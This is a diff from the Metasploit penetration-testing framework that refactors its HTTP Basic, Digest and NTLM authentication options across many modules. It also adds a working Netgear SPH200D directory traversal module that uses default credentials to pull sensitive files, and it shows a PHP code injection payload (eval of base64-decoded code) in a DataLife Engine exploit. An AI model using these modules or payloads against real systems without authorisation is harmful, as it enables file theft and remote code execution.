# Sets the corect authorization options and passes them on to the correct
|
||||
# method for sending the next request.
|
||||
def send_auth(res, opts, t, persist)
|
||||
supported_auths = res.headers['WWW-Authenticate']
|
||||
if supported_auths.include? 'Basic'
|
||||
|
@ -431,13 +447,31 @@ class Client
|
|||
end
|
||||
return res
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# Converts username and password into the HTTP Basic
|
||||
# authorization string.
|
||||
def basic_auth_header(username,password)
|
||||
auth_str = username.to_s + ":" + password.to_s
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Opts -
|
||||
# Inherits all the same options as send_request_cgi
|
||||
# Also expects some specific opts
|
||||
# DigestAuthUser - The username for DigestAuth
|
||||
# DigestAuthPass - The password for DigestAuth
|
||||
# DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support
|
||||
#
|
||||
# This method builds new request to complete a Digest Authentication cycle.
|
||||
# We do not persist the original connection , to clear state in preparation for our auth
|
||||
# We do persist the rest of the connection stream because Digest is a tcp session
|
||||
# based authentication method.
|
||||
#
|
||||
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
|
||||
|
@ -449,7 +483,7 @@ class Client
|
|||
method = opts['method']
|
||||
path = opts['uri']
|
||||
iis = true
|
||||
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'])
|
||||
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)
|
||||
iis = false
|
||||
end
|
||||
|
||||
|
@ -463,7 +497,7 @@ class Client
|
|||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method }))
|
||||
resp = _send_recv(r, to, true)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
@ -571,6 +605,15 @@ class Client
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Opts -
|
||||
# Inherits all the same options as send_request_cgi
|
||||
# provider - What Negotiate Provider to use (supports NTLM and Negotiate)
|
||||
#
|
||||
# Builds a series of requests to complete Negotiate Auth. Works essentially
|
||||
# the same way as Digest auth. Same pipelining concerns exist.
|
||||
#
|
||||
|
||||
def negotiate_auth(opts={})
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
|
@ -581,6 +624,8 @@ class Client
|
|||
}
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= self.username.to_s
|
||||
opts['password'] ||= self.password.to_s
|
||||
|
||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
|
@ -608,7 +653,7 @@ class Client
|
|||
# First request to get the challenge
|
||||
opts['headers']['Authorization'] = ntlm_message_1
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerablity which is present in
|
||||
Netgear SPH200D Skype telephone.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '57660' ],
|
||||
[ 'EDB', '24441' ],
|
||||
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
|
||||
],
|
||||
'Author' => [ 'm-1-k-3' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
|
||||
File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
|
||||
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD',[ true, 'Password to login with', 'password'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def extract_words(wordfile)
|
||||
return [] unless wordfile && File.readable?(wordfile)
|
||||
begin
|
||||
words = File.open(wordfile, "rb") do |f|
|
||||
f.read
|
||||
end
|
||||
rescue
|
||||
return []
|
||||
end
|
||||
save_array = words.split(/\r?\n/)
|
||||
return save_array
|
||||
end
|
||||
|
||||
#traversal every file
|
||||
def find_files(file,user,pass)
|
||||
traversal = '/../../'
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(traversal, file),
|
||||
'basic_auth' => "#{user}:#{pass}"
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
|
||||
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
|
||||
report_web_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:vhost => datastore['VHOST'],
|
||||
:path => "/",
|
||||
:pname => normalize_uri(traversal, file),
|
||||
:risk => 3,
|
||||
:proof => normalize_uri(traversal, file),
|
||||
:name => self.fullname,
|
||||
:category => "web",
|
||||
:method => "GET"
|
||||
})
|
||||
|
||||
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
|
||||
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
|
||||
elsif res and res.code
|
||||
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
||||
|
||||
#test login
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'basic_auth' => "#{user}:#{pass}"
|
||||
})
|
||||
|
||||
return :abort if res.nil?
|
||||
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
|
||||
return :abort if (res.code == 404)
|
||||
|
||||
if [200, 301, 302].include?(res.code)
|
||||
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
return :abort
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return :abort
|
||||
end
|
||||
|
||||
extract_words(datastore['FILELIST']).each do |file|
|
||||
find_files(file,user,pass) unless file.empty?
|
||||
end
|
||||
end
|
||||
end
|
|
@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary
|
|||
))
|
||||
|
||||
# disabling all the unnecessary options that someone might set to break our query
|
||||
deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN',
|
||||
deregister_options('RPORT','RHOST', 'DOMAIN',
|
||||
'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM',
|
||||
'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session',
|
||||
'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL')
|
||||
'NTLM::UseNTLMv2', 'SSL')
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Name' => 'Cisco Device HTTP Device Manager Access',
|
||||
'Description' => %q{
|
||||
This module gathers data from a Cisco device (router or switch) with the device manager
|
||||
web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify
|
||||
web interface exposed. The USERNAME and PASSWORD options can be used to specify
|
||||
authentication.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
|
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("#{rhost}:#{rport} Successfully authenticated to this device")
|
||||
|
||||
# Report a vulnerability only if no password was specified
|
||||
if datastore['BasicAuthPass'].to_s.length == 0
|
||||
if datastore['PASSWORD'].to_s.length == 0
|
||||
|
||||
report_vuln(
|
||||
{
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
|
||||
],
|
||||
'Author' => [ 'hdm' ],
|
||||
'Author' => [ 'hdm' , 'thelightcosine'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
|
@ -48,9 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
|
||||
end
|
||||
|
||||
def find_auth_uri_and_scheme
|
||||
|
||||
path_and_scheme = []
|
||||
def find_auth_uri
|
||||
if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0
|
||||
paths = [datastore['AUTH_URI']]
|
||||
else
|
||||
|
@ -80,21 +78,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
next if not res
|
||||
end
|
||||
|
||||
next if not res.code == 401
|
||||
next if not res.headers['WWW-Authenticate']
|
||||
path_and_scheme << path
|
||||
case res.headers['WWW-Authenticate']
|
||||
when /Basic/i
|
||||
path_and_scheme << "Basic"
|
||||
when /NTLM/i
|
||||
path_and_scheme << "NTLM"
|
||||
when /Digest/i
|
||||
path_and_scheme << "Digest"
|
||||
end
|
||||
return path_and_scheme
|
||||
return path
|
||||
end
|
||||
|
||||
return path_and_scheme
|
||||
end
|
||||
|
||||
def target_url
|
||||
|
@ -111,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("You need need to set AUTH_URI when using PUT Method !")
|
||||
return
|
||||
end
|
||||
@uri, @scheme = find_auth_uri_and_scheme()
|
||||
@uri = find_auth_uri()
|
||||
if ! @uri
|
||||
print_error("#{target_url} No URI found that asks for HTTP authentication")
|
||||
return
|
||||
|
@ -119,12 +105,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
@uri = "/#{@uri}" if @uri[0,1] != "/"
|
||||
|
||||
if ! @scheme
|
||||
print_error("#{target_url} Incompatible authentication scheme")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Attempting to login to #{target_url} with #{@scheme} authentication")
|
||||
print_status("Attempting to login to #{target_url}")
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass)
|
||||
|
@ -133,27 +114,23 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def do_login(user='admin', pass='admin')
|
||||
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
|
||||
success = false
|
||||
proof = ""
|
||||
|
||||
ret = do_http_login(user,pass,@scheme)
|
||||
return :abort if ret == :abort
|
||||
if ret == :success
|
||||
proof = @proof.dup
|
||||
success = true
|
||||
end
|
||||
response = do_http_login(user,pass)
|
||||
result = determine_result(response)
|
||||
|
||||
if success
|
||||
return :abort if result == :abort
|
||||
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
|
||||
any_user = false
|
||||
any_pass = false
|
||||
|
||||
vprint_status("#{target_url} - Trying random username with password:'#{pass}'")
|
||||
any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme)
|
||||
any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass))
|
||||
|
||||
vprint_status("#{target_url} - Trying username:'#{user}' with random password")
|
||||
any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme)
|
||||
any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8)))
|
||||
|
||||
if any_user == :success
|
||||
user = "anyuser"
|
||||
|
@ -175,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Generic\", PROOF=#{proof}",
|
||||
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
|
@ -188,142 +165,28 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def do_http_login(user,pass,scheme)
|
||||
case scheme
|
||||
when /NTLM/i
|
||||
do_http_auth_ntlm(user,pass)
|
||||
when /Digest/i
|
||||
do_http_auth_digest(user,pass,datastore['REQUESTTYPE'])
|
||||
when /Basic/i
|
||||
do_http_auth_basic(user,pass)
|
||||
else
|
||||
vprint_error("#{target_url}: Unknown authentication scheme")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
|
||||
def do_http_auth_ntlm(user,pass)
|
||||
def do_http_login(user,pass)
|
||||
begin
|
||||
resp = send_request_auth_negotiate(
|
||||
response = send_request_cgi({
|
||||
'uri' => @uri,
|
||||
'method' => datastore['REQUESTTYPE'],
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
)
|
||||
return :abort if (resp.code == 404)
|
||||
|
||||
if [200, 301, 302].include?(resp.code)
|
||||
@proof = resp
|
||||
return :success
|
||||
end
|
||||
|
||||
})
|
||||
return response
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||
return :abort
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def determine_result(response)
|
||||
return :abort unless response.kind_of? Rex::Proto::Http::Response
|
||||
return :abort unless response.code
|
||||
return :success if [200, 301, 302].include?(response.code)
|
||||
return :fail
|
||||
end
|
||||
|
||||
def do_http_auth_basic(user,pass)
|
||||
user_pass = Rex::Text.encode_base64(user + ":" + pass)
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => @uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Authorization' => "Basic #{user_pass}",
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless (res.kind_of? Rex::Proto::Http::Response)
|
||||
vprint_error("#{target_url} not responding")
|
||||
return :abort
|
||||
end
|
||||
|
||||
return :abort if (res.code == 404)
|
||||
|
||||
if [200, 301, 302].include?(res.code)
|
||||
@proof = res
|
||||
return :success
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||
return :abort
|
||||
end
|
||||
|
||||
return :fail
|
||||
end
|
||||
|
||||
def do_http_auth_digest(user,pass,requesttype)
|
||||
path = datastore['AUTH_URI'] || "/"
|
||||
begin
|
||||
if requesttype == "PUT"
|
||||
res= send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => requesttype,
|
||||
'data' => 'Test123\r\n',
|
||||
#'DigestAuthIIS' => false,
|
||||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass
|
||||
}, 25)
|
||||
elsif requesttype == "PROPFIND"
|
||||
res = send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => requesttype,
|
||||
'data' => '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>',
|
||||
#'DigestAuthIIS' => false,
|
||||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass,
|
||||
'headers' => { 'Depth' => '0'}
|
||||
}, 25)
|
||||
else
|
||||
res= send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => requesttype,
|
||||
#'DigestAuthIIS' => false,
|
||||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass
|
||||
}, 25)
|
||||
end
|
||||
|
||||
unless (res.kind_of? Rex::Proto::Http::Response)
|
||||
vprint_error("#{target_url} not responding")
|
||||
return :abort
|
||||
end
|
||||
|
||||
return :abort if (res.code == 404)
|
||||
|
||||
if ( [200, 301, 302].include?(res.code) ) or (res.code == 201)
|
||||
if ((res.code == 201) and (requesttype == "PUT"))
|
||||
print_good("Trying to delete #{path}")
|
||||
del_res = send_digest_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'DELETE',
|
||||
'DigestAuthUser' => user,
|
||||
'DigestAuthPassword' => pass
|
||||
}, 25)
|
||||
if not (del_res.code == 204)
|
||||
print_error("#{path} could be created, but not deleted again. This may have been noisy ...")
|
||||
end
|
||||
end
|
||||
@proof = res
|
||||
return :success
|
||||
end
|
||||
|
||||
if (res.code == 207) and (requesttype == "PROPFIND")
|
||||
@proof = res
|
||||
return :success
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||
return :abort
|
||||
end
|
||||
|
||||
return :fail
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
streams = winrm_run_cmd(datastore['CMD'])
|
||||
return unless streams.class == Hash
|
||||
print_error streams['stderr'] unless streams['stderr'] == ''
|
||||
|
|
|
@ -39,12 +39,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
each_user_pass do |user, pass|
|
||||
resp,c = send_request_ntlm(test_request)
|
||||
resp = send_winrm_request(test_request)
|
||||
if resp.nil?
|
||||
print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out"
|
||||
return
|
||||
|
|
|
@ -42,12 +42,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
|
||||
resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL']))
|
||||
resp = send_winrm_request(winrm_wql_msg(datastore['WQL']))
|
||||
if resp.nil?
|
||||
print_error "Got no reply from the server"
|
||||
return
|
||||
|
|
|
@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
|
||||
'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
|
||||
deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
|
||||
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
|
||||
end
|
||||
|
||||
|
|
|
@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
|
||||
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
|
||||
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
|
||||
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if res.code == 401
|
||||
print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
|
||||
print_error("401 Authorization Required! Our credentials were not accepted!")
|
||||
elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
|
||||
print_status("Command successfully executed (according to the server).")
|
||||
end
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ],
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
|
|
@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
authmsg = res.headers['WWW-Authenticate']
|
||||
end
|
||||
print_error("The remote server responded expecting authentication")
|
||||
if datastore['BasicAuthUser'] and datastore['BasicAuthPass']
|
||||
print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser'])
|
||||
elsif authmsg
|
||||
if authmsg
|
||||
print_error("WWW-Authenticate: %s" % authmsg)
|
||||
end
|
||||
cleanup_instructions(rpath, name) # display cleanup info
|
||||
|
|
|
@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def exploit
|
||||
datastore['BasicAuthUser'] = datastore['USERNAME']
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
|
||||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
|
||||
|
|
|
@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def exploit
|
||||
datastore['BasicAuthUser'] = datastore['USERNAME']
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
|
||||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
|
||||
|
|
|
@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
datastore['BasicAuthUser'] = datastore['USERNAME']
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
|
||||
res = query_serverinfo
|
||||
disconnect
|
||||
return CheckCode::Unknown if res.nil?
|
||||
|
@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:user => datastore['BasicAuthUser'],
|
||||
:pass => datastore['BasicAuthPass'],
|
||||
:user => datastore['USERNAME'],
|
||||
:pass => datastore['PASSWORD'],
|
||||
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
||||
:active => true
|
||||
)
|
||||
|
@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def exploit
|
||||
datastore['BasicAuthUser'] = datastore['USERNAME']
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
|
||||
mytarget = target
|
||||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target
|
||||
|
@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:user => datastore['BasicAuthUser'],
|
||||
:pass => datastore['BasicAuthPass'],
|
||||
:user => datastore['USERNAME'],
|
||||
:pass => datastore['PASSWORD'],
|
||||
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
||||
:active => true
|
||||
)
|
||||
|
|
|
@ -18,8 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
|
||||
The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
|
||||
with the e modifier, which allows to inject arbitrary php code, when the template
|
||||
in use contains a [catlist] or [not-catlist] tag.
|
||||
with the e modifier, which allows to inject arbitrary php code, when there is a
|
||||
template installed which contains a [catlist] or [not-catlist] tag, even when the
|
||||
template isn't in use currently. The template can be configured with the TEMPLATE
|
||||
datastore option.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -49,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
|
||||
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),
|
||||
OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -57,17 +60,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
normalize_uri(target_uri.path, 'engine', 'preview.php')
|
||||
end
|
||||
|
||||
def check
|
||||
fingerprint = rand_text_alpha(4+rand(4))
|
||||
def send_injection(inj)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
|
||||
}
|
||||
'catlist[0]' => inj
|
||||
},
|
||||
'cookie' => "dle_skin=#{datastore['TEMPLATE']}"
|
||||
})
|
||||
res
|
||||
end
|
||||
|
||||
def check
|
||||
fingerprint = rand_text_alpha(4+rand(4))
|
||||
|
||||
res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//")
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#{fingerprint}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
|
@ -80,14 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
|
||||
}
|
||||
})
|
||||
res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def go(command)
|
||||
datastore['BasicAuthUser'] = datastore['USERNAME']
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
|
||||
xml = <<-EOS
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
|
|
|
@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
|
||||
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']),
|
||||
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
|
||||
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
|
||||
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -46,12 +46,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
uri = build_path
|
||||
print_status "Uploading Payload to #{uri}"
|
||||
res,c = send_digest_request_cgi({
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => payload.raw,
|
||||
'DigestAuthUser' => datastore['RUSER'],
|
||||
'DigestAuthPassword' => datastore['RPASS']
|
||||
'data' => payload.raw
|
||||
}, 25)
|
||||
unless (res and res.code == 201)
|
||||
print_error "Failed to upload file!"
|
||||
|
|
|
@ -66,20 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@compat_mode = false
|
||||
end
|
||||
|
||||
def check
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth"
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
unless check == Msf::Exploit::CheckCode::Vulnerable
|
||||
return
|
||||
end
|
||||
|
||||
unless valid_login?
|
||||
print_error "Login Failure. Recheck your credentials"
|
||||
return
|
||||
|
@ -141,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def temp_dir
|
||||
